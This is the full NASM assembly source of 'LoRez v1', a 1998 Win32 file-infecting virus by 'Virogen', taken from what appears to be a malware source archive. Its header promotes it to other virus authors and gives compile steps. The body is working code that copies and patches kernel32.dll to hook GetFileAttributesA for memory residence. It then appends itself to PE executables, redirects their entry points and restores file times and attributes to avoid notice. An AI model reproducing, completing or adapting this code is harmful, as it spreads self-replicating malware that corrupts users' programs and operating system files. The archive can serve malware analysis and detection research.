MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.lorez.asm

809 lines
32 KiB
NASM
Raw Normal View History

2021-01-12 23:49:21 +00:00
;** NOTE: original release assumed that this virus worked on WinNT, but I
;** never tested it. I later found out that it does not go memory resident
;** under WinNT, although it causes no system faults, etc.
;
; LoRez v1 - By Virogen [NoP]
;
; This is my final research on Win32 resident kernel infection. LoRez is
; a memory-resident Win32 PE EXE Infector. It successfully operates on
; any kernel version of any Win32 platform (Win95,WinNT,Win98). The virus
; goes memory resident by infecting kernel32.dll. It changes the export
; RVA of GetFileAttributesA to that of the virus code. The next time the
; system boots, the virus goes memory resident and infects any PE EXE
; win32 calls GetFileAttributesA on. This includes any EXE executed as well
; as many those accessed in many other file manipulations. In order to
; get around the shared lock on kernel32.dll, LoRez copies the kernel
; to the windows directory and infects it there. This new copy of the
; kernel will be found before the original one in the system directory
; when the system is booted.
;
; In order to remove the use of static APIs addresses, LoRez searches
; the kernel32 export table in memory for the APIs which it requires. It
; does this by first determining the operating system. It finds this by
; checking a value on the stack and comparing it to the Win95/98 or WinNT
; kernel bases, which are static regardless of kernel version. If the
; operating system cannot be determined, then LoRez passes control back
; to the host without ever accessing any memory which might cause a fault.
; Once the kernel base is determined, LoRez finds the export table and
; then extracts the addresses of the APIs it needs.
;
; Virus Name: LoRez v1
; Virus Author: Virogen [NoP]
; Release Date: 03-05-98
; Operating Systems: Win95/WinNT/Win98
; Hosts : PE EXE files
; Encryption: Removed, till I get a new poly engine coded
; File Date/Time: Unchanged
; File Attributes: Unchanged ; the virus resets and then restores them
; File Size: Can grow by approx 1.6k at most. Sometimes there will be NO
; file size increase due to the alignment of the EXE.
;
;
; Past/Present/Future:
; - My first Win95 virus was Yurn released last week. This was my first
; attempt at windows resident infection and my first dive into the
; windows operating system. Yurn infected the kernel by changing the
; entry code of GetFileAttributesA to a call to the virus code. Yurn
; was limited because it depended on static APIs and kernel versions
; hardcoded into it. I regret releasing it in regards to the
; superority of its spawn LoRez which was released only a week
; later. However, the Yurn release helped me to acquire many new
; insights from my virus colleagues. Release date: 02-25-98.
;
; - LoRez is my attempt at full Win32 infection without the use of
; static APIs. LoRez is far superior to Yurn in many respects.
; It has been a great success and I think will open up a new era of
; Win32 infection. The techniques LoRez uses opens the Win32 platform
; to many new possibilities. All that is left now is to add more
; advanced features such as polymorphism and stealth. I sincerely hope
; that virus authors will find this code useful in creating their own
; kernel infectors. Release date: 03-05-98
;
; - The future: I will release a 32-bit polymorphic engine next,
; along with a new and better virus using the techniques I've
; researched here. This is ofcourse, provided I can finish it
; before Mar 16 (I'll be gone from the computer world for 3
; months). If not, then I look forward to seeing the new virus
; code my colleagues have written in my absence.
;
; How to contact me : try effnet #virus
;
; Greetz -
; -l, Memory Lapse, Soul Manager, Murkry, Treaz0n, Cicatrix, Darkman,
; VirusBuster, and others.
;
;
; HOW TO COMPILE LOREZ:
; I use TASM32 v5. Included is a makefile for LOREZ. After you compile
; the virus, just take out your handy hex editor and change the flags
; of the code object to 0E0000040h. Note that this is stored in intel
; reverse dd at offset 21Ch in LOREZ.EXE.
;
;
;
;
;
.386
locals
jumps
.model flat,STDCALL
L equ
extrn ExitProcess : PROC ; this is so the import table
; won't be empty. Is not used
; in the virus. You'll need
; IMPORT32.LIB for this one.
org 1000h
.data ; our lonely data object
progname db 'LoRez Virus host (c)Virogen',0
.code ; .code - change flags after compile
; to r/w/x
;-----------------------------------------------------------------------------
;
start: ; the would-be host
push 0
call [ExitProcessAPI] ; exit process
;-----------------------------------------------------------------------------
;
; LoRez virus starts here
;
MAX_HDR equ 0250h ; we shouldn't need more than this
ID_OFF equ 0ch ; offset in header for our marker
VIRUS_SIZE equ (offset vend-offset vstart) ; total size of our virus here
VIRTUAL_SIZE equ (offset buffer_end-offset vstart) ; our virtual size
MEM_ID equ 12345678h ; our communcation needs
;
;
vstart:
call geteip ; find relative offset
geteip:
mov ebp,[esp] ; grab it off stack
mov eax,ebp ; used below
sub ebp,offset geteip ; fix it up
add esp,4 ; fix da stack
db 2dh ; sub eax
host_addr dd (offset geteip-offset start)
push eax ; subtract entry point differ
; to get orginal entry VA
mov edx,[esp+4] ; determine OS
and edx,0fff00000h
mov eax,0BFF70000h ; WIn95 kernel base 0BFF70000
cmp edx,0bff00000h ; Win95?
jz good_os
mov eax,edx ; our NT kernel at 77F00000
cmp edx,077f00000h ; WinNT?
jnz goto_host ; abort if neither
good_os:
;
; a brief explanation of the organization of the export table would be
; useful here. Ok, basically there are three tables within the export
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
; Table (16bit). Ok, the ordinal number of an API is the entry number of
; the API in the RVA array. So, multiply the ordinal number by four and
; you've got an index into the API RVA Table. Probably you don't already
; have the ordinal number though, so you'll have to find it. To do this,
; you use the Name Pointer Table. This is an array of pointers to the
; asciiz name of each API. When you find the pointer of the API you're
; looking for by string compares, you take the index number of it and
; multiply it by 2 (because the ordinal table is 16bit). Index the result
; in the ordinal table, and you're all set.
;
;
mov [ebp+imagebase],eax ; save kernel base
mov esi,eax
add esi,[esi+3ch] ; relative ptr to PE header
cmp word ptr [esi],'EP' ; make sure we're on right track
jnz goto_host ; if not.. abort
mov esi,[esi+120] ; get export table RVA
add esi,eax ; relative to image base
mov edi,[esi+36] ; get ordinal table RVA
add edi,eax ; relative to image base
mov [ebp+ordinaltbl],edi ; save it
mov edi,[esi+32] ; get name ptr RVA
add edi,eax ; is relative to image base
mov [ebp+nameptrtbl],edi ; save it
mov ecx,[esi+24] ; get number of name ptrs
mov esi,[esi+28] ; get address table RVA
add esi,eax ; is relative to image base
mov [ebp+adrtbl],esi ; save it
xor edx,edx ; edx is our ordinal counter
; edi=name ptr table
; ecx=number of name ptrs
lea esi,[ebp+APIs] ; -> API Name ptrs
mov [ebp+ourAPIptr],esi ; save it
lea eax,[ebp+API_Struct] ; our API address will go here
mov [ebp+curAPIptr],eax ; save it
chk_next_API_name:
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
mov ebx,[esi] ; load ptr to our API name
add ebx,ebp ; add relative address
mov esi,[edi] ; get API name RVA
add esi,[ebp+imagebase] ; relative to image base
compare_API_name:
lodsb
cmp al,byte ptr [ebx] ; compare a byte of names
jnz not_our_API ; it's not our API
cmp al,0 ; end of string?
jz is_our_API ; it's our API
inc ebx
jmp compare_API_name
not_our_API:
inc edx ; increment API counter
cmp edx,ecx ; last entry of name ptr table?
jz goto_host ; uhoh.. we didn't find one
; of our APIs.. abort it all
add edi,4 ; increment export name ptr idx
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
jmp chk_next_API_name
is_our_API:
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
push ecx
push edx
xchg edx,eax ; edx=API number
add eax,eax ; *2 cuz ordinals are words
add edi,eax ; add to ordinal table VA
mov ax,[edi] ; get ordinal (word)
xor edx,edx
mov ecx,4
mul ecx ; *4 cuz address tbl is dd's
mov edi,[ebp+adrtbl] ; load address table VA
add edi,eax ; set idx to API
mov eax,edi
sub eax,[ebp+imagebase] ; get the VA of the entry
mov [ebp+originalRVAptr],eax ; save it for kernel infection
; notice that our last API
; in the array is the one we
; hook
mov eax,[edi] ; get API RVA
mov [ebp+originalRVA],eax ; save it for kernel infection
add eax,[ebp+imagebase] ; is relative to image base
mov edi,[ebp+curAPIptr] ; idx to storage stucture
mov [edi],eax ; save VA of API
add edi,4 ; increment index
mov [ebp+curAPIptr],edi ; save
pop edx
pop ecx
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
add esi,4 ; increment idx API name ptr structure
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
cmp dword ptr [esi],0 ; end of our API structure?
jz found_all ; if so then we got 'em all
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
xor edx,edx ; reset API counter
jmp chk_next_API_name
;
; now we're done finding all of our API VAs
;
found_all:
mov byte ptr [ebp+offset infkern],1 ; set kernel infection flag
lea eax,[ebp+fname]
push eax ; save for below
push 0FFh ; max buffer size
push eax ; ptr
call [ebp+GetSysDirAPI] ; get system directory
pop edi
add edi,eax ; find end of directory name
push edi ; where the filename needz to go
lea eax,[ebp+copyfname]
push eax ; save for below
push 0ffh
push eax
call [ebp+GetWinDirAPI] ; get windoze directory
pop edi
add edi,eax
lea esi,[ebp+kernfile]
call copy_str ; append \kernel32.dll to windoze dir
pop edi ; restore windoze sys dir
lea esi,[ebp+kernfile]
call copy_str ; append kernel32.dll to windoze sys dir
push 0
lea eax,[ebp+copyfname] ; from sys dir
push eax
lea eax,[ebp+fname] ; to win dir
push eax
call [ebp+CopyFileAPI] ; copy kernel to windows dir
cmp eax,0 ; if error then we're prob.
jz goto_host ; already in memory
lea eax,[ebp+copyfname] ; infecting windir\kernel32.dll
mov [ebp+fnameptr],eax ; set file ptr
call infect_file ; infect the kernel
goto_host:
pop eax ; restore entry VA
jmp eax ; jmp to host entry VA
;-----------------------------------------------
; infect file - call with fnameptr set
;
infect_file:
mov eax,[ebp+fnameptr]
push eax
mov ecx,MEM_ID ; let us know its us
call [ebp+GetAttribAPI] ; get file attributes
mov [ebp+oldattrib],eax
cmp eax,-1 ; if error then maybe shared
jnz not_shared
ret ; can't infect it
not_shared:
push 20h ; +A
mov eax,[ebp+fnameptr]
push eax
call [ebp+SetAttribAPI] ; clear 'da attribs
call open_default_file
cmp eax,-1
jnz open_ok
ret
open_ok:
lea eax,[ebp+creation] ; creation time
push eax
lea eax,[ebp+lastaccess] ; last accessed
push eax
lea eax,[ebp+lastwrite] ; last writen to
push eax
push [ebp+handle]
call [ebp+GetFileTimeAPI] ; grab the file time
mov ecx,50h ; read MZ EXE header
lea edx,[ebp+peheader] ; (if that's what it is)
call read_file
cmp word ptr [ebp+peheader],'ZM' ; is EXE?
jnz abort_infect
mov eax,dword ptr [ebp+peheader+3ch] ; where PE hdr pointer is
mov [ebp+ptrpeheader],eax ; save it
call setfp
call setfp_pehdr
mov ecx,MAX_HDR ; now read the pe header
lea edx,[ebp+peheader]
call read_file
cmp [ebp+bytesread],MAX_HDR ; could we read it all?
jnz abort_infect ; something funky if no
cmp word ptr [ebp+peheader],'EP' ; PE?
jnz abort_infect
cmp dword ptr [ebp+peheader+ID_OFF],0 ; any value here?
jnz abort_infect ; if yes, infected
cmp byte ptr [ebp+infkern],1 ; infecting kernel?
jz skip_base_chk ; if so then its ok to be DLL
cmp dword ptr [ebp+imagebase],00400000h ; executables should have this
jnz abort_infect ; base, DLLs probably not.
skip_base_chk:
call [ebp+GetTickCountAPI] ; get tick count
mov dword ptr [ebp+peheader+ID_OFF],eax ; save as infect flag
xor esi,esi
mov si, word ptr [ebp+NtHeaderSize] ; get header size
add esi,18h ; object table is here
mov dword ptr [ebp+ObjTbloff],esi
lea eax,[ebp+peheader] ; is relative to PE hdr RVA
add esi,eax ; esi->object table
mov [ebp+objtblVA],esi ; save the object table VA
xor eax,eax
mov ax,[ebp+numObj] ; get number of objects
dec eax ; we want last object
mov ecx,40 ; each object 40 bytes
xor edx,edx
mul ecx ; numObj-1*40=last object
add esi,eax ; esi->last obj
lea eax,[ebp+peheader+MAX_HDR-40]
cmp esi,eax ; if it's out of our range
jg abort_infect ; then about this here shit
mov eax,[esi+20] ; get last object physical off
mov [ebp+lastobjimageoff],eax ; save it
mov ecx,dword ptr [ebp+filealign] ; get file alignment
mov eax,[esi+16] ; get physical size of object
mov [ebp+originalpsize],eax ; save it 4 later
push eax
add eax,vend-vstart ; size of our code
call align_fix ; set on file alignment
mov dword ptr [esi+16],eax ; save new physical size
mov ecx,dword ptr [ebp+objalign] ; get object alignment
push ecx ; save for below
mov eax,[esi+8] ; get object virtual size
add eax,VIRTUAL_SIZE ; add our virtual size
call align_fix ; set on obj alignment
mov dword ptr [esi+8],eax ; save new virtual size
pop ecx
mov eax,VIRTUAL_SIZE ; how big we is
add eax,dword ptr [ebp+imagesize] ; add to old image size
call align_fix ; set on obj alignment
mov dword ptr [ebp+imagesize],eax ; save new imagesize
mov [esi+36],0E0000040h ; set object flags r/x/x
pop eax ; restore orginal physical size
add eax,[esi+12] ; add last object's RVA
; eax now RVA of virus code
mov [ebp+virusRVA],eax ; save it
cmp byte ptr [ebp+offset infkern],0 ; do our kernel32?
jz new_entry ; nope.. regular PE
;--- our kernel infection starts here ---
;
; This is really fairly simple. First thing we need to do is find the
; image offset of the export table entry for the API we're hooking. We
; do this by locating the object that contains the export table. Then,
; we subtract the image offset of the object from the virtual offset
; of the object. The difference is then subtracted from the previously
; saved RVA of the table entry. =image offset
;
; The different Win32 kernels have different objects which their
; export table is located in. The Win95 kernels have it located in
; .edata, while win98 puts it in .text, winNT decides to throw the
; shit in .rdata. How do we determine which kernel is which, and which
; object to calculate the image offset by? Simple, Win95 is the only
; kernel that contains .edata, WinNT is the only kernel which contains
; .rdata, and Win98 is the only kernel which doesn't contain either.
;
; Once we extrapolate the image offset of the export table entry for the
; RVA of the API we're hooking, we just save the old RVA, and put our
; RVA in its place.
;
;
mov esi,[ebp+objtblVA] ; load object table VA
xor ecx,ecx
mov cx,[ebp+numObj] ; get number of objects
dec ecx
xor edx,edx ; we'll store our virtual-
; physical difference here
calc_fo_loop:
cmp dword ptr [esi],'ade.' ; is it .edata? for win95
jz end_calc_fo_loop ; if so we can reference it
cmp dword ptr [esi],'xet.' ; is it .text? for win98
jnz not_text
mov [ebp+objtext],esi ; save table entry offset
not_text:
cmp dword ptr [esi],'adr.' ; is it .rdata? for winNT
jz end_calc_fo_loop ; if rdata exists, then
; our export shit is there
add esi,40 ; to next object we go
dec ecx ; decrement # of objects
jnz calc_fo_loop ; if not been thru all loop
mov esi,[ebp+objtext] ; if .edata or .rdata, then
end_calc_fo_loop: ; it must be .text
mov edx,[esi+12] ; get the object virtual off
sub edx,[esi+20] ; subtract physical offset
mov eax,[ebp+originalRVAptr] ; get table entry rva
sub eax,edx ; subract difference
mov [ebp+FileOff],eax ; save table entry image off
call setfp ; set file pointer to it
mov ecx,4 ; read RVA
lea edx,[ebp+chkRVA]
call read_file ; and check it to make sure
; we've got it right
mov eax,[ebp+chkRVA]
cmp eax,[ebp+originalRVA] ; is it the right RVA?
jnz abort_infect ; if not abort infection
mov eax,[ebp+FileOff] ; get image offset
call setfp ; set file ptr to table entry
mov eax,[ebp+virusRVA] ; get virus RVA
add eax,(offset hook-offset vstart) ; find our API hook RVA
lea esi,[ebp+hookRVA] ; to be written
mov [esi],eax ; save hook RVA
mov ecx,4 ; dd
call write_code ; write the new hook RVA
mov eax,[ebp+originalRVA] ; get orginal API RVA
add eax,[ebp+imagebase] ; relative to image base
mov [ebp+jmpback],eax ; save it
jmp calc_reloc ; skip entry point change..
;-------------------------------------------------------
; our PE EXE infection
;
new_entry:
mov eax,[ebp+virusRVA] ; eax=virus RVA
mov ebx,dword ptr [ebp+entrypointRVA] ; save old entry point
mov dword ptr [ebp+entrypointRVA],eax ; put our RVA as entry
calc_reloc:
add eax,(offset geteip-offset vstart) ; fix for our reloc call
sub eax,ebx ; difference of entry pts
mov dword ptr [ebp+offset host_addr],eax ; virusRVA-entryRVA=diff
; virusVA-diff=entryVA
call setfp_pehdr ; back to PE header
lea esi,[ebp+peheader] ; write the new PE header
mov ecx,MAX_HDR
call write_code ; to the host
mov eax,[ebp+originalpsize] ; restore original physical size
add eax,[ebp+lastobjimageoff] ; add object physical offset
call setfp ; set ptr to end of object
lea esi,[ebp+vstart]
mov ecx,VIRUS_SIZE
call write_code ; write the virus code to the host
abort_infect:
lea eax,[ebp+creation] ; creation time
push eax
lea eax,[ebp+lastaccess] ; last accessed
push eax
lea eax,[ebp+lastwrite] ; last writen to
push eax
push [ebp+handle]
call [ebp+SetFileTimeAPI] ; restore orginal file time
call close_file ; we're done
mov eax,[ebp+oldattrib] ; get original attribs
push eax
mov eax,[ebp+fnameptr]
push eax
call [ebp+SetAttribAPI] ; restore the original attributes
ret
;---------------------------------------------------------------
; close handle at [handle]
;
close_file:
push dword ptr [ebp+offset handle]
call [ebp+CloseFileAPI]
ret
;---------------------------------------------------------------
; opens file with ptr to filename at [fnameptr]
;
open_default_file:
mov eax,[ebp+fnameptr]
;---------------------------------------------------------------
; opens file, pass eax->filename
;
open_file:
push 0
push 20h ; r+w
push 3 ; 3=open existing file
push 0
push 0
push 0C0000000h ; open for r+w
push eax
call [ebp+CreateFileAPI]
mov [ebp+handle],eax ; save handle
ret
;---------------------------------------------------------------
; read handle
; pass ecx=bytes to read, edx=offset for bytes read
;
read_file:
push 0
lea eax,[ebp+bytesread]
push eax
push ecx
push edx
push [ebp+handle]
call [ebp+ReadFileAPI]
ret
;--------------------------------------------------------------
; sets eax on alignment of ecx
;
align_fix:
xor edx,edx
div ecx ; /alignment
inc eax ; next alignment
mul ecx ; *alignment
ret
;--------------------------------------------------------------
; set file pointer to PE header
setfp_pehdr:
mov eax,[ebp+ptrpeheader]
;--------------------------------------------------------------
; set file ptr of [handle]
; pass eax=offset from beginning
;
setfp:
push 0
push 0
push eax
push [ebp+handle]
call [ebp+SetFilePtrAPI]
ret
;-------------------------------------------------------------
; write to [handle]
; pass ecx=bytes to write, esi->source
;
write_code:
push 0
lea eax,[ebp+bytesread]
push eax
push ecx
push esi
push [ebp+handle]
call [ebp+WriteFileAPI]
ret
;-------------------------------------------------------------
; copy string
; pass edi->destination esi->source
;
copy_str:
mov ecx,0FFh ; no bigger than 256
copystr:
lodsb
stosb
cmp al,0
jz copystrdone
loop copystr
copystrdone:
ret
;------------------------------ hooked ------------------------
; this is our API hook for GetAttrib
;
hook:
pushfd
push eax ; save regs
push ebx
push ecx
push edx
push edi
push esi
push ebp
call reloc ; find relative index
reloc:
pop ebp ; eip
sub ebp, offset reloc ; get relative address
lea eax,[ebp+jmpback] ; get jump back ptr
mov [ebp+jmpbackptr],eax ; save jump back ptr
cmp ecx,MEM_ID ; is it us?
jz abort_mem ; if so then abort
mov byte ptr [ebp+infkern],0 ; we're infecting normal
mov eax,[esp+24h] ; ptr to filename is here
mov [ebp+fnameptr],eax ; save ptr to filename
call infect_file ; replicate ourselves
abort_mem:
pop ebp ; restore regs
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
popfd
db 0FFh,25h ; jmp [ ]
jmpbackptr dd offset jmpback
jmpback dd 0 ; original API VA
db '<27> [LoRez] v1 by Virogen [NoP] <20>' ; it's i said the fly
kernfile db '\KERNEL32.dll',0 ; our kernel filename
kernfile_e:
APIs: ; structure of ptrs to our API names
dd offset GetTicks
dd offset GetWinDir
dd offset SetAttrib
dd offset CreateFile
dd offset SetFilePtr
dd offset ReadFile
dd offset WriteFile
dd offset CloseFile
dd offset GetSysDir
dd offset CopyFile
dd offset GetFileTime
dd offset SetFileTime
dd offset ExitProc
dd offset GetAttrib ; the last entry is our hooked API
dd 0
; our API names
GetTicks db 'GetTickCount',0
GetWinDir db 'GetWindowsDirectoryA',0
SetAttrib db 'SetFileAttributesA',0
CreateFile db 'CreateFileA',0
SetFilePtr db 'SetFilePointer',0
ReadFile db 'ReadFile',0
WriteFile db 'WriteFile',0
CloseFile db 'CloseHandle',0
GetSysDir db 'GetSystemDirectoryA',0
CopyFile db 'CopyFileA',0
GetFileTime db 'GetFileTime',0
SetFileTime db 'SetFileTime',0
ExitProc db 'ExitProcess',0 ; only used in original host
GetAttrib db 'GetFileAttributesA',0
API_Struct: ; structure for API VAs
GetTickCountAPI dd 0
GetWinDirAPI dd 0
SetAttribAPI dd 0
CreateFileAPI dd 0
SetFilePtrAPI dd 0
ReadFileAPI dd 0
WriteFileAPI dd 0
CloseFileAPI dd 0
GetSysDirAPI dd 0
CopyFileAPI dd 0
GetFileTimeAPI dd 0
SetFileTimeAPI dd 0
ExitProcessAPI dd 0
GetAttribAPI dd 0
FileOff dd 0
APIStructEnd:
; data below is not written to disk, but is allocated by object
vend:
handle dd 0 ; file handle
infkern db 0 ; kernel infection flag
ptrpeheader dd 0 ; offset of PE header
ObjTbloff dd 0 ; offset of object table
objtblVA dd 0 ; VA of object table
bytesread dd 0 ; return from fread/fwrite
nameptrtbl dd 0
adrtbl dd 0
ourAPIptr dd 0
curAPIptr dd 0
ordinaltbl dd 0
originalRVAptr dd 0 ; RVA ptr to our hooked API RVA
originalRVA dd 0 ; orginal RVA of our hooked API
chkRVA dd 0
originalpsize dd 0
hookRVA dd 0
virusRVA dd 0
hdrread dd 0
lastobjimageoff dd 0
objtext dd 0
creation dd 0,0 ; our file time structures
lastaccess dd 0,0
lastwrite dd 0,0
oldattrib dd 0 ; stored file attribs
fnameptr dd 0 ; ptr to file name we're infecting
fname db 64 dup (0) ; storage for source kernel32.dll
copyfname db 64 dup (0) ; storage for dest. kernel32.dll
peheader: ; PE header format
signature dd 0
cputype dw 0
numObj dw 0
dd 0,0,0
NtHeaderSize dw 0
Flags dw 0
dd 0,0,0,0
entrypointRVA dd 0
dd 0,0
imagebase dd 0
objalign dd 0
filealign dd 0
dd 0,0,0,0
imagesize dd 0
headersize dd 0
db MAX_HDR*2 dup (0)
buffer_end:
ends
end vstart